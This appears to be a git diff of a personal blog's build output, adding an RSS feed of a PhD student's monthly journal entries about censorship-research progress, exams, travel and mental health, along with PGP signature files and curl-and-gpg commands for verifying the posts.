||||
I will try to set small deadlines for myself and force myself to be more productive.
|
||||
Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it.
|
||||
I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.</p>
|
||||
<h1 id="5th">5th</h1>
|
||||
<p>My student workshop paper to CoNEXT ‘25 was rejected.
|
||||
It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.</p>
|
||||
<p>First review (wa) provided two suggestions for improving the work.
|
||||
However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.</p>
|
||||
<p>Second review (wr) asked for more details.
|
||||
In the end they suggested only focusing on one approach and it’s evaluation.
|
||||
This kinda defeated the purpose of what I was trying to do, to provide “tools”.</p>
|
||||
<p>Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion.
|
||||
This is indeed something I like to work on and look at in the near future.</p>
|
||||
<h1 id="7th">7th</h1>
|
||||
<p>Stressful day.
|
||||
I had my last exam, the exam for Interactive systems that I did not attend the main exam for.
|
||||
I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted.
|
||||
I don’t know how I did, but I’m glad I did the exam.
|
||||
Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign…
|
||||
I hope I won’t have to take another extra course in the next semesters, that would just be annoying.
|
||||
I really do hope so.</p>
|
||||
<h1 id="8th">8th</h1>
|
||||
<p>I’m back at work, still very distracted with life.
|
||||
I do need to do literature review, expand my framework, and focus on my work.
|
||||
It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00.
|
||||
I hope I can get myself together and start being productive again.</p>
|
||||
<h1 id="9th">9th</h1>
|
||||
<p>I will be doing literature review today.
|
||||
Yesteday I didn’t manage to get myself together. Drat.
|
||||
There will be a nice social event later today too.
|
||||
I can rest and socialize with my group’s amazing people!
|
||||
It’ll be fun! :)</p>
|
||||
<p>Another fun thing is that I will get my very own physical GFW box today.
|
||||
It’s probably the most majestic thing that could’ve happened?
|
||||
The reason for it is that a month ago there was a leak for GFW.
|
||||
Lucky us I guess.</p>
|
||||
<h1 id="13th">13th</h1>
|
||||
<p>Last week was again not a productive week.
|
||||
I will start to plan my days from now on.
|
||||
The important things are literature review, working on the code base, and looking at the box a bit.
|
||||
Unfortunately the new semester also starts from today.
|
||||
I’ll be having one, at most two courses.</p>
|
||||
<h1 id="17th">17th</h1>
|
||||
<p>Another unproductive week.
|
||||
I think this was the worst one actually.
|
||||
I can’t focus on reading the papers, I get distracted easily or lose interest.
|
||||
Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.</p>
|
||||
<p>I also need to address the elephant in the room, and start working on the codebase.</p>
|
||||
<p>I also need to look at the GFW files more, and try to find useful stuff there.</p>
|
||||
<p>But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.</p>
|
||||
<hr>
|
||||
<h1 id="31st">31st</h1>
|
||||
<p>It went by.
|
||||
It went by quickly.
|
||||
I wasn’t able to pick myself up this month, but I won’t let it happen in the following.
|
||||
I want to be truthful, so I won’t hide anything.
|
||||
the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine.
|
||||
For next month, I will start strong, try to get myself together, and pick myself up. I will make progress.
|
||||
I promise.</p>
|
||||
<p>Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.</p>
|
||||
<p>Ok, let’s set some goals for next month in advance, then we can see how good we did.</p>
|
||||
<ul>
|
||||
<li>I want to work on ICMP stuff and make it work nicely.</li>
|
||||
<li>I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.</li>
|
||||
<li>I need to keep up with my courses, including the German class.</li>
|
||||
<li>I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.</li>
|
||||
</ul>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/October_2025.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/October_2025.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
|
||||
jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
|
||||
2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
|
||||
G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
|
||||
2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
|
||||
NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
|
||||
n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
|
||||
yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
|
||||
4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
|
||||
B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
|
||||
YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
|
||||
t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
|
||||
=NvQ7
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md.asc
|
||||
gpg --verify October_2025.md.asc October_2025.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>September '25</title><link>https://blog.alipour.eu/phd_journey/september_2025/</link><pubDate>Tue, 30 Sep 2025 09:48:21 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/september_2025/</guid><description><p>I started the month by finalizing my draft for Conext Student workshop.
|
||||
Let&rsquo;s cross our fingers and hope things work out and that it gets accepted.
|
||||
Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p>
|
||||
<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off.
|
||||
I visited my parents after 13 months(!), and also my brother after more than two years.
|
||||
We had so much fun!
|
||||
I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya.
|
||||
What a delightful trip it was.
|
||||
I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here.
|
||||
Now that my brother also has his greencard, we can travel together and see eachother more often too!</p></description><content:encoded><![CDATA[<p>I started the month by finalizing my draft for Conext Student workshop.
|
||||
Let’s cross our fingers and hope things work out and that it gets accepted.
|
||||
Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.</p>
|
||||
<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off.
|
||||
I visited my parents after 13 months(!), and also my brother after more than two years.
|
||||
We had so much fun!
|
||||
I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya.
|
||||
What a delightful trip it was.
|
||||
I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here.
|
||||
Now that my brother also has his greencard, we can travel together and see eachother more often too!</p>
|
||||
<p>Surprise surprize, the notification did not come and it’s the last day of the month.
|
||||
Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog.
|
||||
I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October…
|
||||
Drat!</p>
|
||||
<p>I will probably do more literature review this last day of the month, and start working on the code base from next month.
|
||||
I should do a lot more literature review to be caught up with whatever that’s been done so far.</p>
|
||||
<p>My social life has been much more exciting too.
|
||||
I’ve been socializing a lot more and have made many new friends.
|
||||
Some other exciting things have also been hapening that I don’t have the courage to write about now. ;)
|
||||
Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would.
|
||||
Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)</p>
|
||||
<p>And with that, that’s my September in a nutshell.
|
||||
I will probably start writing through the month and then turn the draft into a post from now on.
|
||||
That way it would look like a story!</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/September_2025.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/September_2025.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
|
||||
jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
|
||||
w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
|
||||
IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
|
||||
3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
|
||||
MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
|
||||
1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
|
||||
xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
|
||||
9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
|
||||
BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
|
||||
yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
|
||||
nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
|
||||
=ranU
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md.asc
|
||||
gpg --verify September_2025.md.asc September_2025.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>Augest '25</title><link>https://blog.alipour.eu/phd_journey/augest_2025/</link><pubDate>Sun, 31 Aug 2025 07:49:24 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/augest_2025/</guid><description><p>This month started with me setting up a deadline for Conext student workshop.
|
||||
I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it.
|
||||
I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT.
|
||||
This darn thing wasted so much of my time!
|
||||
I did learn a bit along the way, but oh well.
|
||||
Such is life!</p></description><content:encoded><![CDATA[<p>This month started with me setting up a deadline for Conext student workshop.
|
||||
I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it.
|
||||
I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT.
|
||||
This darn thing wasted so much of my time!
|
||||
I did learn a bit along the way, but oh well.
|
||||
Such is life!</p>
|
||||
<p>Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time.
|
||||
I will be taking a 10 day vacation next month just to reset, and gain back my power.
|
||||
I cross my fingers for the month ahead!</p>
|
||||
<p>My social life has been becoming better too.
|
||||
I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun!
|
||||
My depression is a serious issue.
|
||||
I also have anxiety disorder that I’m talking with my therapist about.
|
||||
I will most likely start taking SSRIs once again.
|
||||
Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them.
|
||||
I’m really glad I was able to recover, though it was not easy at all, it did work out.</p>
|
||||
<p>I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much.
|
||||
Things will workout!</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/Augest_2025.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/Augest_2025.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
|
||||
jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
|
||||
lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
|
||||
3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
|
||||
SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
|
||||
OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
|
||||
VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
|
||||
rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
|
||||
Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
|
||||
OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
|
||||
5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
|
||||
eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
|
||||
=vvS6
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md.asc
|
||||
gpg --verify Augest_2025.md.asc Augest_2025.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
48
public-clearnet/phd_journey/june_2026/index.html
Normal file
48
public-clearnet/phd_journey/june_2026/index.html
Normal file
File diff suppressed because one or more lines are too long
45
public-clearnet/phd_journey/november_2025/index.html
Normal file
45
public-clearnet/phd_journey/november_2025/index.html
Normal file
File diff suppressed because one or more lines are too long
137
public-clearnet/phd_journey/october_2025/index.html
Normal file
137
public-clearnet/phd_journey/october_2025/index.html
Normal file
File diff suppressed because one or more lines are too long
2
public-clearnet/phd_journey/page/1/index.html
Normal file
2
public-clearnet/phd_journey/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/phd_journey/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/phd_journey/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/phd_journey/"></head></html>
|
||||
60
public-clearnet/phd_journey/september_2025/index.html
Normal file
60
public-clearnet/phd_journey/september_2025/index.html
Normal file
File diff suppressed because one or more lines are too long
35
public-clearnet/posts/2025_highlight/index.html
Normal file
35
public-clearnet/posts/2025_highlight/index.html
Normal file
File diff suppressed because one or more lines are too long
138
public-clearnet/posts/blackout/index.html
Normal file
138
public-clearnet/posts/blackout/index.html
Normal file
File diff suppressed because one or more lines are too long
64
public-clearnet/posts/boredom/index.html
Normal file
64
public-clearnet/posts/boredom/index.html
Normal file
File diff suppressed because one or more lines are too long
395
public-clearnet/posts/comments-rss-papermod/index.html
Normal file
395
public-clearnet/posts/comments-rss-papermod/index.html
Normal file
File diff suppressed because one or more lines are too long
42
public-clearnet/posts/cupid/index.html
Normal file
42
public-clearnet/posts/cupid/index.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/posts/danya.asc
Normal file
17
public-clearnet/posts/danya.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9xQP/3O+ZA+A1BJKzO+VhrIVoyE1
|
||||
Z1w0Q9sLzW38TI3UC1t8mDeoWuyGTqTfBKP9SfZTarcAdKGAv5Wvn0YIuZP0CR7x
|
||||
Wg6HleU8PYGCgyxZnW07acRjpt8P1ZajYrZ2UR+ZpAaV+dh7JXFfVGWtExFIN5c1
|
||||
qI0HVnPzKewG7UYJ3dguGdP7aOk8pQfCAw1nxwiDVyyMia33jX971hMjjrDWcvdV
|
||||
hsLZ3j7ZX+Wn9Li5WaPTCTj8KyTF9+URuBhDDyFLkwcjhBpbi97p6EFwm4MNy88D
|
||||
29byFXVb5SGEraWAtW8Njvw6SSirfhjwB3GozLeSeCCQpWi0W6NL1fU1XA9SjTMC
|
||||
jPvhHua6QSq1sipdlaNm0t8kahv17m8jajeWgfZPQssYWxp0q3g8eud6ZYpIUsfG
|
||||
+HGafMBOpTqBgMvT4YVgMPOjV5LYQio3i2nL/zwgFuHeetoJnLe5R0xTp38uEwGw
|
||||
omHMVP/yRsbgG0ka4xvNcKstERONcJa+A6NuqKHyv/ndB6CoNpGqnZUl8DjhsMGR
|
||||
btZEfQKVMczQ6r1X6TrPSFeAMaUPjpVPn365hiwgYZfFotoFZ6eaHbFVDLLUxnkw
|
||||
gpMlIOSJ0w5a+CkRZMbEOYI6/aZ0KgRxL5r2nxes6L2hPhcy1wL9vxR/6jjkeicz
|
||||
TwDhY5qW8ZzrxZU9uWS1
|
||||
=ftPQ
|
||||
-----END PGP SIGNATURE-----
|
||||
53
public-clearnet/posts/danya/index.html
Normal file
53
public-clearnet/posts/danya/index.html
Normal file
File diff suppressed because one or more lines are too long
44
public-clearnet/posts/e2ee/index.html
Normal file
44
public-clearnet/posts/e2ee/index.html
Normal file
File diff suppressed because one or more lines are too long
107
public-clearnet/posts/g00_tuw_measurement_ctf/index.html
Normal file
107
public-clearnet/posts/g00_tuw_measurement_ctf/index.html
Normal file
File diff suppressed because one or more lines are too long
33
public-clearnet/posts/h3ll0_fr1end/index.html
Normal file
33
public-clearnet/posts/h3ll0_fr1end/index.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/posts/hedge_doc.asc
Normal file
17
public-clearnet/posts/hedge_doc.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q88YP/RQ/Kl+5D4LtmlO9z/2y/d3k
|
||||
m7DJcaLlx1D8VXZboEq5auS9/AKnwDwjrQsCAug6aO3+MENRGT+YaxqACcD8/J07
|
||||
+TB7+gnTkB+iFUIFOsdx2oKuZhwhpXv/MEqNsD2VVrMgM+8SChBhdlV0axJdWb9g
|
||||
tOphFNL1JdZAU1G7PqwVJDZWAsj8tr7DL7+EVTb0E2qXdZmbR9VmhkCojaPw156I
|
||||
BGc7zkPhGwJpBW0PlKFM68SeH1+nMleE1WxfWgPpGpk5JeLvOVMiIbp1M8qJojk7
|
||||
SO45+IpfVJ4YC3mHhgd5dkG603dZDtC44AS+zvU/GiUMjBa2li9TuOiF0QiQHdv1
|
||||
nnAmFbov8EKW1PKRhD91iBZpwY4ckAngXkfJEaQh+QiDEceR2c4sYFmlP11SBYXI
|
||||
9g4AUnH8E8Js1UnJ3Jc+dGONbVV/cJ/D+am4ujo3DAgJWiwNl5zZumHtM8GfOOf3
|
||||
HasC9uNzebsnIEoaxP1xwTKP/OwZktPgUlBoKjQ3lvvymYWmF6f+dSC4zTed8PLT
|
||||
jexTeK01OVPLIcbV4h2UGwyoUTGSZ1hSkXA3gyehV/yqInBJhTkhD8bAwDj4NYbD
|
||||
8PwaiSSQITgmZPCssrCSpEB8KJpBEFjEE0OksQN/sB2aZkegASMNUlYsmr1OOEIZ
|
||||
ah+SMhSAQZcRUpsRdN9o
|
||||
=pfUc
|
||||
-----END PGP SIGNATURE-----
|
||||
112
public-clearnet/posts/hedge_doc/index.html
Normal file
112
public-clearnet/posts/hedge_doc/index.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/posts/hello-world.asc
Normal file
17
public-clearnet/posts/hello-world.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qYdAQAKVr4HvFKkfBv2btqsbenlsY
|
||||
ii3FCE+/31O6jQ6Sw0xIw7KUXaXtT5BXdQHC0b9d9DwHjC+nWloCpREcebxyapUf
|
||||
cOF8i8H06o2ihXwpHg0ky418tFhpOx+NRmqCbof8EYoOntLv++xbYHuG0YjGLw9Z
|
||||
3g7zY9jbJUuyCfJLuCx/BvzYtn1T0n2Bu8zwNKgMzdtNUz+uWCNK7zycYPYvnXlr
|
||||
bZ3NWmZ0XT+WuK7znpkfKNQASpaIrOtwT/bXQzmH1WkdXSrnaS7bIjjg+8MB7+at
|
||||
l49E260lq7StwThWcdoG7epUaHpwjE/C+hItZv8buaPBx/xTumsqKVhs87bl4fd/
|
||||
LXttOUhRDw11GZxMuokzugijJxttOXIKbShmZ/fyUOwuZxJ2YsMqY9ttUrGOzk/t
|
||||
L6447hSA9AhsyEnReotIMxeq779pv+fiivs9Tg99QkvUiMv39IkoK8Cf38pbCR1O
|
||||
D806nTXXx6L4fmbADbZuqg4RjCaJwp2p7BGKaYwkA9rIRdmHVdJBEmD7U+W9IZp/
|
||||
18daQq3i45WoHWnTwDDhJ/1IPFUum9WCTkqtABPyrY4huxfdPUVavuGl1vgWAZ8+
|
||||
srQuHaEet4vBjcCXOOainIbxvIlY25JcTLXk3Vt1Abhf25TIU2aKimGRGgmv2EJv
|
||||
IGqrQXD2ctkQP+IhyzVV
|
||||
=gz9U
|
||||
-----END PGP SIGNATURE-----
|
||||
62
public-clearnet/posts/hello-world/index.html
Normal file
62
public-clearnet/posts/hello-world/index.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/posts/hobbies.asc
Normal file
17
public-clearnet/posts/hobbies.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAkYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0quhUP/3KfdZmORKp0g8lgR8+YmirC
|
||||
ITgqb05MVKd8fuja8vGF+E+XtfeM8xyOV1YDCqeEE9VIWNsjX3+ISkwMCWboyL5m
|
||||
ks9/3SqSOlv7y2xMcAyVPFYkQYi0CZJ2afp3tmEXKVDOvFTqB7zPkchEbIHLZfih
|
||||
I/WmCMzbDt8OEGKd0pUe9S/Ux65a9JHQ8GerA+8wQ2TSxQjtelPnD5XrWqeKhRbL
|
||||
2bDpQZBDcv9dvRBTBEIpHeDg/ylyUPT8WDnIChzAt8tIZFnanMspSw+kdQddpAIF
|
||||
mqzAmhlQkeRkshbGbHW2h7AeNFZC3CBOPSlp3xi1jRbS4Ao97FuKcGv3TsXM61XX
|
||||
+n1GoI48dYVhDX92i1ZkG7ZJl5OKbSd/l8pxmtiqVy+nY73Jlo9SH142mVtO5Yqz
|
||||
Fqvrju4WhZZjTvx8LJ7HSxx/ZFL4ciRyTCttzpqz6Gg4V3ouvrhTk1wQcQu8RiSq
|
||||
l8ZKyGQ6AexBN/OYwjLFMvbdw2+oSCcMQBFPD9RmDsq+cNTeTJ9qYdvkqF6InNWr
|
||||
IfOu8FUhWPwSkx/OS4zrChZX8cWq6Sxo5W7YAVOQz5/jazWrRoFJ/XNsMe5GMJr2
|
||||
WlaUl9yNtLN9IjYVHVV9xVSc222ENBlL5G/YbDCYzKn2i79OxAgpJlWoLBw+fZ/X
|
||||
yyRVskOPUanwD9SLgEzF
|
||||
=OVFH
|
||||
-----END PGP SIGNATURE-----
|
||||
153
public-clearnet/posts/hobbies/index.html
Normal file
153
public-clearnet/posts/hobbies/index.html
Normal file
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue